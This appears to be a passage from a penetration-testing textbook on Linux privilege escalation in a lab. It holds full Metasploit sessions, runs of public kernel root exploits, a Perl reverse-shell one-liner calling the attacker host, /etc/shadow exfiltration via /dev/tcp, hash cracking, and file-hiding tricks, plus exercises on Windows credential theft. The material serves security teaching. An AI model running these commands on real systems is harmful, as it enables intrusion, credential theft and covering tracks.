[*] Meterpreter session 1 opened (10.0.4.252:4444 -> 10.0.2.32:10583) at 2014-10-03 18:46:20 -0400
meterpreter > sysinfo
Computer     : pollux
OS           : Linux pollux 2.6.25.5-1.1-default #1 SMP 2008-06-07 01:55:22 +0200 (x86_64)
Architecture : x86_64
Meterpreter  : x86/linux
meterpreter > getuid
Server username: uid=1000, gid=100, euid=1000, egid=100, suid=1000, sgid=100meterpreter > background
```

From the basic information provided, the attacker knows that the victim is running a 64-bit Linux system, using kernel 2.6.25.

There are a number of different ways to determine the distribution and version of a Linux system; however, many of these approaches actually depend on the distribution and version. Most distributions store their version number in a file in the /etc directory named variously /etc/os-release, /etc/system-release, /etc/lsb_release, /etc/redhat-release, /etc/centos-release, and/or /etc/SuSE-release. One simple approach is to ask for all of the data from a shell.

```
meterpreter > shell
Process 3324 created.
Channel 1 created.
sh: no job control in this shell
sh-3.2$ cat /etc/*-release
openSUSE 11.0 (X86-64)
VERSION = 11.0
```

The attacker concludes that the victim is running OpenSuSE 11.0 x64.

Linux Privilege Escalation with Metasploit

In contrast to the situation with Windows, Metasploit currently has few privilege escalation exploits for Linux systems. One such exploit is the udev Netlink Local Privilege Escalation attack.

```
msf exploit(java_rhino) > use exploit/linux/local/udev_netlink
msf exploit(udev_netlink) > info

... Output Deleted ...

Available targets:
  Id  Name
  --  ----
  0   Linux x86
  1   Linux x64

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  NetlinkPID                    no        Usually udevd pid-1.  Meterpreter sessions will
                                          autodetect
  SESSION                       yes       The session to run this module on.
  WritableDir  /tmp             yes       A directory where we can write files (must not be
                                          mounted noexec)

Payload information:

Description:
  Versions of udev < 1.4.1 do not verify that netlink messages are
  coming from the kernel. This allows local users to gain privileges
  by sending netlink messages from userland.
```

The exploit is run in the same fashion as Windows local privilege escalation attacks. Load the module, choose the session, select a payload, and run the exploit. In this example, the payload is a reverse shell back to the attacker.

```
msf exploit(udev_netlink) > set session 1
session => 1
msf exploit(udev_netlink) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf exploit(udev_netlink) > set lport 4445
lport => 4445
msf exploit(udev_netlink) > set lhost 10.0.4.252
lhost => 10.0.4.252
msf exploit(udev_netlink) > exploit

[*] Started reverse handler on 10.0.4.252:4445
[*] Attempting to autodetect netlink pid...
[*] Meterpreter session, using get_processes to find netlink pid
[*] udev pid: 480
[+] Found netlink pid: 479
[*] Writing payload executable (155 bytes) to /tmp/EuOCcDMPtC
[*] Writing exploit executable (1879 bytes) to /tmp/LQoTUvczyL
[*] chmod'ing and running it...
[*] Sending stage (36 bytes) to 10.0.2.32
[*] Command shell session 2 opened (10.0.4.252:4445 -> 10.0.2.32:12854) at 2014-10-03 18:47:35 -0400

whoami
root
pwd
/
^Z
Background session 2? [y/N]  y
```

Once the exploit completes, the attacker is dropped into a root shell on the target as the `whoami` command verified. As is typical for Metasploit Linux shells, there is no command prompt.

Linux Direct Privilege Escalation

Because so few Linux privilege escalation exploits are present within Metasploit, an attacker interested in obtaining root turns to other exploits. One good source for exploits is Security Focus (http://www.securityfocus.com). Major vulnerabilities have a web page that describes the vulnerability, discussion, publicly known exploit code, solutions to the underlying problem, and references. Linux privilege escalation attacks described there include the following:

- Linux Kernel 'sock_sendpage()' NULL Pointer Dereference Vulnerability
  - http://www.securityfocus.com/bid/52201
  - CVE-2009-2692
  - CentOS 5.2, 5.3; Mint 5, 6, 7; OpenSuSE 11.0, 11.1; Ubuntu 8.04, 8.10, 9.04

- Linux Kernel Ptrace (CVE-2010-3301) Local Privilege Escalation Vulnerability
  - http://www.securityfocus.com/bid/43355
  - CVE 2010-3301
  - Mint 9, OpenSuSE 11.3, Ubuntu 10.04
  - Requires 64-bit target
- Linux Kernel Econet Protocol Multiple Local Vulnerabilities
  - http://www.securityfocus.com/bid/45072
  - CVE 2010-3848, CVE 2010-3849, CVE 2010-3850
  - Mint 8, 9, 10; Ubuntu 9.10, 10.04, 10.10
- GNU glibc Dynamic Linker 'LD_AUDIT' Local Privilege Escalation Vulnerability
  - http://www.securityfocus.com/bid/44347
  - CVE 2010-3856
  - Mint 5, 6, 7, 8, 9, 10; Ubuntu 8.04, 8.10, 9.04, 9.10, 10.04, 10.10
- Linux Kernel Reliable Datagram Sockets (RDS) Protocol Local Privilege Escalation Vulnerability
  - http://www.securityfocus.com/bid/44219
  - CVE 2010-3904
  - CentOS 6.0; Mint 8, 9, 10; Open SuSE 11.2, 11.3; Ubuntu 9.10, 10.04, 10.10
- Linux Kernel CVE-2012-0056 Local Privilege Escalation Vulnerability
  - http://www.securityfocus.com/bid/51625
  - CVE 2012-0056
  - Mint 12; Ubuntu 11.10
- Linux Kernel CVE-2013-1763 Local Privilege Escalation Vulnerability
  - http://www.securityfocus.com/bid/58137
  - CVE 2013-1763
  - Mint 14, Ubuntu 12.10
- Linux Kernel CVE-2013-2094 Local Privilege Escalation Vulnerability
  - http://www.securityfocus.com/bid/59846
  - CVE 2013-2094
  - CentOS 6.1, 6.2, 6.3, 6.4; Mint 13; Ubuntu 12.04
  - Requires 64-bit target

- Linux Kernel 'compat_sys_recvmmsg()' Function Local Memory Corruption Vulnerability
  - http://www.securityfocus.com/bid/65255
  - CVE 2014-0038
  - Mint 15, 16; Ubuntu 13.04, 13.10
  - Requires 64-bit target

Attackers using code from Security Focus need to be aware of its limitations. The exploits present are those that have been publicly released, and are of uneven quality. Some exploits are robust and work well, while others do not. In some cases when source code is provided, the code will not even compile without modification. Moreover, there is no guarantee that the exploit does what it claims to do or is even safe.

As an example, suppose that a second victim visits the malicious web site.

```
msf exploit(udev_netlink) >
[*] 10.0.2.17        java_rhino - Java Applet Rhino Script Engine Remote Code Execution
handling request
... Output Deleted ...
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1138688 bytes) to 10.0.2.17
[*] Meterpreter session 3 opened (10.0.4.252:4444 -> 10.0.2.17:49543) at 2014-10-03 18:50:21
-0400
```

The attacker interacts with the session and performs basic reconnaissance.

```
msf exploit(udev_netlink) > sessions -i 3
[*] Starting interaction with 3...
meterpreter > sysinfo
Computer     : altair.stars.example
OS           : Linux altair.stars.example 3.0.0-12-generic #20-Ubuntu SMP Fri Oct 7 14:50:42
UTC 2011 (i686)
Architecture : i686
Meterpreter  : x86/linux
meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000
meterpreter > shell
Process 1736 created.
Channel 1 created.
/bin/sh: can't access tty; job control turned off
$ cat /etc/*-release
DISTRIB_ID=LinuxMint
DISTRIB_RELEASE=12
DISTRIB_CODENAME=lisa
DISTRIB_DESCRIPTION="Linux Mint 12 Lisa"
$ ^Z
Background channel 1? [y/N]  y
```

With the knowledge that the target is running a 32-bit Mint 12 system, the attacker elects to try the CVE 2012-0056 privilege escalation attack. The page on the Security Focus site for this vulnerability states that this vulnerability applies to version 2.6.39 of the kernel; it turns out that the exploit also works on the 3.0.0 kernel in the Mint 12 default install. The exploit page (http://www.securityfocus.com/bid/51625/exploit) contains source code for the exploit in the file `51625.c`, which is known publicly as Mempodipper. Download that file to the attacking Kali system, then use Meterpreter to upload it to the target.

```
meterpreter > cd /tmp
meterpreter > mkdir .session
Creating directory: .session
meterpreter > cd .session
meterpreter > upload 51625.c /tmp/.session/51625.c
[*] uploading  : 51625.c -> /tmp/.session/51625.c
[*] uploaded   : 51625.c -> /tmp/.session/51625.c
```

Start a shell on the target, then compile and run the code. Once the code completes, clean up the system, and remove the source code.

```
meterpreter > shell
Process 2540 created.
Channel 5 created.
/bin/sh: can't access tty; job control turned off
$ gcc 51625.c -o .a.out
$ ./.a.out
================================
=          Mempodipper         =
=           by zx2c4           =
=         Jan 21, 2012         =
================================

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/2552/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x8049520.
[+] Calculating su padding.
[+] Seeking to offset 0x8049514.
[+] Executing su with shellcode.
//bin/sh: can't access tty; job control turned off
# whoami
root
# pwd
/tmp/.session
# rm ./51625.c
```

Notice that the attacker stored the code in a subdirectory of `/tmp` with a name that starts with a dot "." so that it would not appear in a casual directory listing. The same holds for the executable; even if both are found they have what the attacker hopes are innocuous names.

Sometimes the original exploit makes privilege escalation more difficult. Suppose instead of using the Java Applet Rhino Script Engine Remote Code Execution attack to gain the initial shell on the victim, the attacker instead used the Firefox XCS Code Execution attack. Rather than select a Meterpreter payload, the Firefox reverse shell is used.

```
root@kali:~# msfconsole -q
msf > workspace linux
[*] Workspace: linux
msf > use exploit/multi/browser/firefox_proto_crmfrequest
msf exploit(firefox_proto_crmfrequest) > set uripath bob
uripath => bob
msf exploit(firefox_proto_crmfrequest) > set payload firefox/shell_reverse_tcp
payload => firefox/shell_reverse_tcp
msf exploit(firefox_proto_crmfrequest) > set lhost 10.0.4.252
lhost => 10.0.4.252
msf exploit(firefox_proto_crmfrequest) > exploit -j
[*] Exploit running as background job.
[*] Started reverse handler on 10.0.4.252:4444
[*] Using URL: http://0.0.0.0:8080/bob
[*]  Local IP: http://10.0.4.252:8080/bob
[*] Server started.
```

That malicious web site is then visited by a vulnerable user, spawning the Firefox reverse shell for the attacker.

```
msf exploit(firefox_proto_crmfrequest) >
[*] 10.0.2.29        firefox_proto_crmfrequest - Gathering target information.
[*] 10.0.2.29        firefox_proto_crmfrequest - Sending response HTML.
[*] 10.0.2.29        firefox_proto_crmfrequest - Sending HTML
[*] 10.0.2.29        firefox_proto_crmfrequest - Sending the malicious addon
[*] Command shell session 1 opened (10.0.4.252:4444 -> 10.0.2.29:52556) at 2014-10-03
21:32:53 -0400
```

Because the payload is not Meterpreter, the initial reconnaissance process is somewhat different. The `uname` command with the `-a` switch is used to determine the kernel version, and the `whoami` command to determine the current username.

```
msf exploit(firefox_proto_crmfrequest) > sessions -i 1
[*] Starting interaction with 1...

uname -a
Linux Antares.stars.example 2.6.32-279.el6.x86_64 #1 SMP Fri Jun 22 12:19:21 UTC 2012 x86_64
x86_64 x86_64 GNU/Linux
whoami
sbanach
cat /etc/*-release
CentOS release 6.3 (Final)
CentOS release 6.3 (Final)
CentOS release 6.3 (Final)
^Z
Background session 1? [y/N]  y
```

The attacker concludes that this is a 64-bit CentOS 6.3 system.

Though the attacker has some control over the victim, it is somewhat limited. Indeed, even attempts to change directories to /tmp fail.

```
msf exploit(firefox_proto_crmfrequest) > sessions -i 1
[*] Starting interaction with 1...
pwd
/home/sbanach
cd /tmp
pwd
/home/sbanach
^Z
Background session 1? [y/N]  y
```

Before attempting to escalate privileges, the attacker wants a shell free of these limitations. There are a number of ways to do so; one approach is to use Perl, as described by pentestmonkey at http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet. This is a two-step process. First, the attacker starts a netcat listener on the attacking system with the command

```
root@kali:~# nc -l -v -p 443
listening on [any] 443 ...
```

This instructs netctat to listen (-l) on port 443 (-p 443) with verbose messages (-v). Next, the attacker returns to the target, and runs the following Perl command

```
msf exploit(firefox_proto_crmfrequest) > sessions -i 1
[*] Starting interaction with 1...

perl -e 'use Socket;$i="10.0.4.252";$p=443;socket(S,PF_INET,SOCK_STREAM,
getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open
(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

When this is run, it makes an outbound connection to the attacker's system (10.0.4.252) on port 443, running the system shell /bin/sh. The listening netcat prompt then receives the connection.

```
root@kali:~# nc -l -v -p 443
listening on [any] 443 ...
10.0.2.29: inverse host lookup failed: Unknown server error : Connection timed out
connect to [10.0.4.252] from (UNKNOWN) [10.0.2.29] 49612
sh: no job control in this shell
sh-4.1$ whoami
whoami
sbanach
sh-4.1$ pwd
pwd
/home/sbanach
sh-4.1$ cd /tmp
cd /tmp
sh-4.1$ pwd
pwd
/tmp
sh-4.1$
```

Now the attacker has a full shell, and is now able to change directories.

To escalate privileges to root on this 64-bit CentOS 6.3 system, the attacker can use CVE-2013-2094. The Security Focus web site has three different exploits for this vulnerability; of these, the first, `59846.c`, known publicly as `semtex.c`, works against this target. Since the attacker does not have a Meterpreter session on the target, the upload technique used earlier is no longer available. Instead, the attacker can use `wget` to download the exploit code from Security Focus directly to the target.

```
sh-4.1$ wget http://downloads.securityfocus.com/vulnerabilities/exploits/59846.c
<ds.securityfocus.com/vulnerabilities/exploits/59846.c
--2014-10-03 22:15:15--  http://downloads.securityfocus.com/vulnerabilities/exploits/59846.c
Resolving downloads.securityfocus.com... 143.127.139.111
Connecting to downloads.securityfocus.com|143.127.139.111|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2511 (2.5K) [text/plain]
Saving to: "59846.c"

     OK ..                                                    100%  175M=0s

2014-10-03 22:15:16 (175 MB/s) - "59846.c" saved [2511/2511]
```

An examination of the exploit code shows that it will not, in fact, compile as written. Indeed, the code begins with most of a C style comment – it lacks the comment start `/*`. Although it is easy to add to the end of a file, adding to the start of the file is a bit more work. The attacker creates a new file containing only `/*` and appends the exploit to that file; the result is now valid code.

```
sh-4.1$ echo "/*" > code.c
echo "/*" > code.c
sh-4.1$ cat 59846.c >> code.c
cat 59846.c >> code.c
```

Next, the attacker compiles the code, using the optimization switch `-O2` as specified in the exploit itself. When run, the attacker obtains a root shell.

```
sh-4.1$ gcc -O2 code.c -o .a.out
gcc -O2 code.c -o .a.out
sh-4.1$ ./.a.out
./.a.out
rm 59846.c
rm code.c
whoami
root
```

Linux Password Attacks

Once the attacker obtains root access on a Linux system, the password hashes in `/etc/shadow` are exposed. These can be moved to the attacker's system in any number of ways; one approach is to simply copy them to the target. Start a netcat listener on port 443 on the attacker's system that stores the results in the file named `shadow` in the directory `CentOS_6.3_loot` with the command

```
root@kali:~/CentOS_6.3_loot# nc -l -v -p 443 > shadow
```

From the compromised host, run the command

```
cat /etc/shadow > /dev/tcp/10.0.4.252/443
```

This sends the contents of /etc/shadow to port 443 on 10.0.4.252; this is then caught by the listening netcat shell. Once on the attacker's system, these can be attacked with John the Ripper.

```
root@kali:~/CentOS_6.3_loot# john --wordlist=/usr/share/wordlists/metasploit-jtr/
password.lst ./shadow
Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt"
Use the "--format=crypt" option to force loading these as that type instead
Loaded 2 password hashes with 2 different salts (sha512crypt [64/64])
password1!       (root)
password1!       (sbanach)
guesses: 2  time: 0:00:07:14 DONE (Fri Oct  3 22:59:20 2014)  c/s: 406  trying: zurich - password1!
Use the "--show" option to display all of the cracked passwords reliably
root@kali:~/CentOS_6.3_loot# john --show ./shadow
root:password1!:16287:0:99999:7:::
sbanach:password1!:16288:0:99999:7:::

2 password hashes cracked, 0 left
```

CentOS 6.3, like many modern Linux systems, uses SHA-512 as its password-hashing algorithm; this is properly detected by John, though it does warn that it is possible that these hashes could be interpreted as the older crypt type. The algorithm's strength greatly slows John; indeed in this example it only calculated roughly 400 hashes per second, slower even than the MSCash2/DCC2 algorithm.

EXERCISES

1. Exploit a Windows system that is set to automatically log in a particular user. From within Metasploit, run the module post/windows/gather/credentials/windows_autologin to grab the login credentials.
2. Exploit a Windows system. Add a new entry to the target's hosts file with the module post/windows/manage/inject_host.
3. Exploit a Windows system. Use the reg command from within Meterpreter to list all of the registry keys contained in HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run. Is it possible to add additional entries?
4. Another way to escalate privileges on a Windows system is to simply ask the user for their credentials. Exploit a Windows system, then try the Metasploit module post/windows/gather/phish_windows_credentials. Does the module require SYSTEM privileges to run? Exploit a browser on a Windows 8 system. Does the module work if the browser is running in Enhanced Protected Mode?
5. Exploit a browser on a stand-alone Windows 8 system, then follow up with an attack to escape Enhanced Protected Mode. Run the MS15-001 NtApphelpCacheControl privilege escalation attack. Does the attack succeed? What if Windows Defender is disabled? Repeat the process on a Windows 8 system joined to a domain. What differences are noted?

6. Compare the Kiwi Meterpreter extension to the Windows Credential Editor (http://www.ampliasecurity.com/research/wcefaq.html).
7. (Advanced) The Windows command `wmic qfe list` shows all of the patches installed on a system. Write a Metasploit post module to obtain this information and store in in the database.
8. Not all information pulled from `/etc/lsb-release` is accurate. Show that the file `/etc/lsb-release` on a Mint 5 system indicates that the system is, in fact, an Ubuntu 8.04 system. What are the contents of `/etc/os-release` on Mint 16?

Notes and References

Windows Local Privilege Escalation

Some privilege escalation modules have proven more useful than others, and this has changed over time. For example, I have used the Windows Escalate Task Scheduler XML Privilege Escalation MS10-092 scheleveator attack in live demonstrations in the past, but now attacks on those same systems using the same exploit appear to fail. The Windows TrackPopupMenuEx Win32k NULL Page MS13-081 attack in recent testing against 32-bit Windows 7 domain member systems on VirtualBox appears to reliably generate the blue screen of death. Always remember that these are exploit tools that continue to evolve over time; these sorts of issues are not only normal, but should be expected.

Ruben Boonen has an excellent description of the fundamentals of privilege escalation at http://www.fuzzysecurity.com/tutorials/16.html.

The exploit author's description of the Sysret attack is available at http://repret.wordpress.com/2012/08/25/windows-kernel-intel-x64-sysret-vulnerability-code-signing-bypass-bonus/. The approach used in the text to obtain a SYSTEM level Meterpreter shell follows the approach outlined by Night Lion Security at https://www.nightlionsecurity.com/blog/guides/2012/11/windows-7-privilege-escelation-uac-bypass-guide-with-sysret-exploit/.

Windows Domain Attacks

More information about access tokens and their significance can be found at http://msdn.microsoft.com/en-us/library/windows/desktop/aa374909(v=vs.85).aspx.

Metasploit has a number of related modules that provide PSExec-like functions; see https://community.rapid7.com/community/metasploit/blog/2013/03/09/psexec-demystified for more details.

The Kiwi extension to Meterpreter is based on the stand-alone tool Mimikatz, developed by Benjamin Delpy. That tool is available from https://github.com/gentilkiwi/mimikatz, while his blog at http://blog.gentilkiwi.com/mimikatz contains the latest news (in French) about the continuing development of Mimikatz.

Windows Password Attacks

The December 2009 attack on RockYou is a watershed moment in the development of password-cracking techniques. RockYou had a large user base, and stored passwords internally in plain text. Once their network was breached and the data for the 32 million accounts taken and released, hackers began focusing their attention on analyzing the techniques that people used to select passwords. Now rather than relying

on brute force attacks on a large key space, attackers instead look for common passwords and common patterns, like ending a simple password with a number and a punctuation mark.

Though John the Ripper is a commonly used password-hash cracking tool, it is not the only one. Another excellent tool is Hashcat (http://hashcat.net/oclhashcat/). Hashcat is able to make use of graphics cards to significantly speed up attacks.

Documentation for John the Ripper is available online at http://www.openwall.com/john/doc/. When using John, samples for a range of hash types are available at http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats.

Another approach to gathering SMB hashes is to use redirection; see http://blog.cylance.com/redirect-to-smb for details.

Linux Privilege Escalation

The text uses a bit of Perl code to generate a reverse shell that is picked up by a netcat listener. There are many different ways to accomplish this task, using a variety of languages. Some good references for these methods include the following:

- http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
- http://bernardodamele.blogspot.com/2011/09/reverse-shells-one-liners.html
- http://www.gnucitizen.org/blog/reverse-shell-with-bash/
  [Be sure to read the comments!]
- https://highon.coffee/blog/reverse-shell-cheat-sheet/
- http://n0where.net/common-reverse-shells/

The direct privilege escalation exploits were tested against the listed distributions with packages from the default install. Updated systems can be less, or in some cases, more vulnerable. For example, Mempodipper (CVE 2012-0056) fails against a default Ubuntu 11.04 x86 system. However, if that system is updated with the 2.6.39-rc1 kernel available from Ubuntu (http://kernel.ubuntu.com/~kernel-ppa/mainline/), then it becomes vulnerable to the attack.

I would be remiss if I did not also mention the web page of Mempodipper's author, Jason Donenfeld, at http://blog.zx2c4.com/749. That page describes the underlying vulnerability in detail, with references to the original source code. The Mempodipper exploit code is also available on Exploit-db, on the page http://www.exploit-db.com/exploits/18411/. It is included locally on Kali at `/usr/share/exploitdb/platforms/linux/local/18411.c`.